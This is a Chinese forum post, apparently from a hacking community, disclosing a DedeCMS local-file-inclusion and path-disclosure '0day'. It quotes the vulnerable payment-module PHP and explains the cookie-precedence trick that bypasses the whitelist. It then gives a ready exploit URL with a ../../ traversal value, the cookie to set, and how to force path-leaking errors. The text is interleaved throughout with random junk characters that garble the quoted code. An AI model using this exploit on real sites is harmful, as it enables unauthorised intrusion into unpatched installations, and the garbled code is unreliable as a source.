找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2215|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)2 u$ r3 o( |; X

+ k" i& D. Q4 h6 c/ \; `出现漏洞的两个文件为:
* M& N9 h2 A  {: O# W8 x/ uInclude/payment/alipay.php: ~  J" h, i8 S1 |* W) m6 y; x: A7 _
Include/payment/yeepay.php1 f+ H7 @2 B9 x% p
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
; C3 B6 `) R: ~5 ?$ n% s0 S! Z3 S5 L& N* g1 S- _: f! }  C
Include/payment/alipay.php: Q, i9 L6 q& b3 u3 V

/ y1 o% Q" K( j3 ^* S! c4 T' w....... `5 v' K4 t4 B; u9 {# d
   function respond()
! l  h$ ^+ r3 y5 ]    {  E9 p7 l! H7 O
        if (!empty($_POST))6 Y$ u+ {6 ?( {' |; S! a* H* `
        {
& p9 y; a2 X+ e  \5 r5 ~5 q) f            foreach($_POST as $key => $data)+ T* m$ l% _) E/ N
            {% h0 Q( R: T# M
                $_GET[$key] = $data;
, T4 w$ m2 N! p* H8 O: [            }
2 Z" c, j( r) [+ w# n        }# O1 P* r4 T* R
        /* 引入配置文件 */% O' n+ W7 {$ `) B8 f' E/ o. @+ B
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';6 A# ^( J- W( k# Q9 v( P. c
......
5 t* u/ g8 g' y* C& G* m; Y / a; Q0 a& ~& i$ E0 p

: P3 }" q1 g  V大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
6 B3 \) I6 h; Y" h0 B
2 O/ ]: g+ a( `/ F$ ~Include/payment/yeepay.php0 T4 n( R2 g' k( J) d) j, h" g+ e
2 x$ }. N0 H( c2 v, g  d
9 c0 }5 t5 |6 f; n

: Q' p  `5 `& W) J% S4 ?0 y......
7 l; T3 y6 P0 R    function respond()
4 K3 M: f; A2 U: B  k0 @" [; y    {7 r# t8 P: ]: r; @5 ?6 e
5 @2 }. h8 }/ P, G/ r0 S
        /* 引入配置文件 */
# H9 M9 h% q$ }: c' @6 p; a7 \        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
; d+ z: x1 \9 R0 g* n) J4 o9 B 8 {; J4 I: \1 @
        $p1_MerId = trim($payment['yp_account']);5 z4 x% b- a; t1 h( L9 {- L' y/ [
        $merchantKey = trim($payment['yp_key']);6 f3 K) I/ N/ m  Y  _6 E
......
0 C; s6 ]( K3 b! f . y$ J+ V5 K0 J3 j- ?& A

1 x: h2 [; p' m' v! s 2 t2 N: Q4 ]0 Q4 n

6 }$ T0 M  W: {1 q* c* w大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。7 |7 v* o3 s; U; {: g

( g8 V6 L9 a$ o7 p  V/ m这两个方法在plus/carbuyaction.php文件调用。
2 l. c1 D) m4 T! h$ O" b( I+ d9 g$ d. T; e% e
plus/carbuyaction.php8 _1 J- l4 L: v. ]$ U, m+ o4 s9 t4 q

3 t, F' h9 T2 ?) j......
% U8 ~8 P* y4 f/ C3 q$ |} else if ($dopost == 'return') {$ O- J1 ]1 A7 B( c, s8 T% q5 Q
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');6 t; V* |% X% j
    if (in_array($code, $write_list))! l* \  g5 l3 ^* x$ c* y
    {8 ]2 W( r1 ~* Z/ Z$ H0 j8 y1 X
        require_once DEDEINC.'/payment/'.$code.'.php';3 a# K1 Y. Y* r( ?7 m
        $pay = new $code;8 x- ?9 N" \/ V5 J. x* [' f
        $msg=$pay->respond();/ X0 p7 ~: O5 ?, ^7 u+ W
        ShowMsg($msg, "javascript:;", 0, 3000);; E  z, `( N. Q% _* F
        exit();  
4 `8 |% A8 `/ s& `5 R. `    } else {
; b4 h0 N* K; Q$ ~- b3 T" [        exit('Error:File Type Can\'t Recognized!');
3 [( s( S1 P( S& Y( V) a( ?7 g5 B; {    }
- o; N, {* u* m8 j% d7 y4 |}
& Z6 U7 t7 W  k. O" z...... ! p* |2 s3 E% m  w+ Q7 h

0 x. z7 p/ V3 f6 v8 I" i/ g4 [
' A! _3 Z- G* [
' W  S8 R) k2 M6 K7 y3 u8 [
$ Q) s4 _, ?( h% W! L
9 ~6 Z' c* f1 B2 r/ x1 A. ?6 C5 h2 C- b! Z; Q5 Z, D8 Y
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
" ?4 `/ j% F& v6 a% k+ m所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。" q, E# Q5 [2 ~9 m# `) q" D" n

) N* g$ X9 }" W% O5 L回到include/common.inc.php来看看他的机制。0 W3 S2 T9 }, A4 r: \8 L

$ \' o6 Q3 Q: H 3 f* _" @. m( J! h$ a

) d! [- n  Q& m5 `......
/ Z. F4 C6 H* Fforeach(Array('_GET','_POST','_COOKIE') as $_request)
, v2 K% [) ?- x9 ?8 E; N8 a) Z) F. N3 }{2 O' y* j6 y0 \, l5 [
        foreach($$_request as $_k => $_v)
' @5 P5 l& R% O        {9 ^7 y* @( N( c7 E6 Y' O0 N+ F
                if($_k == 'nvarname') ${$_k} = $_v;
" e; o" v4 e$ Q) e" y- @0 B                else ${$_k} = _RunMagicQuotes($_v);- ]0 d% a! l! r3 [; x. e
        }
/ m7 P6 n$ j5 L, ~& s" j}& I; t, |/ M) Y
......
" Q6 W: ~' K5 _7 J: Z大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
0 U1 R! P: w5 Q* i- l/ q& }# p8 h由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表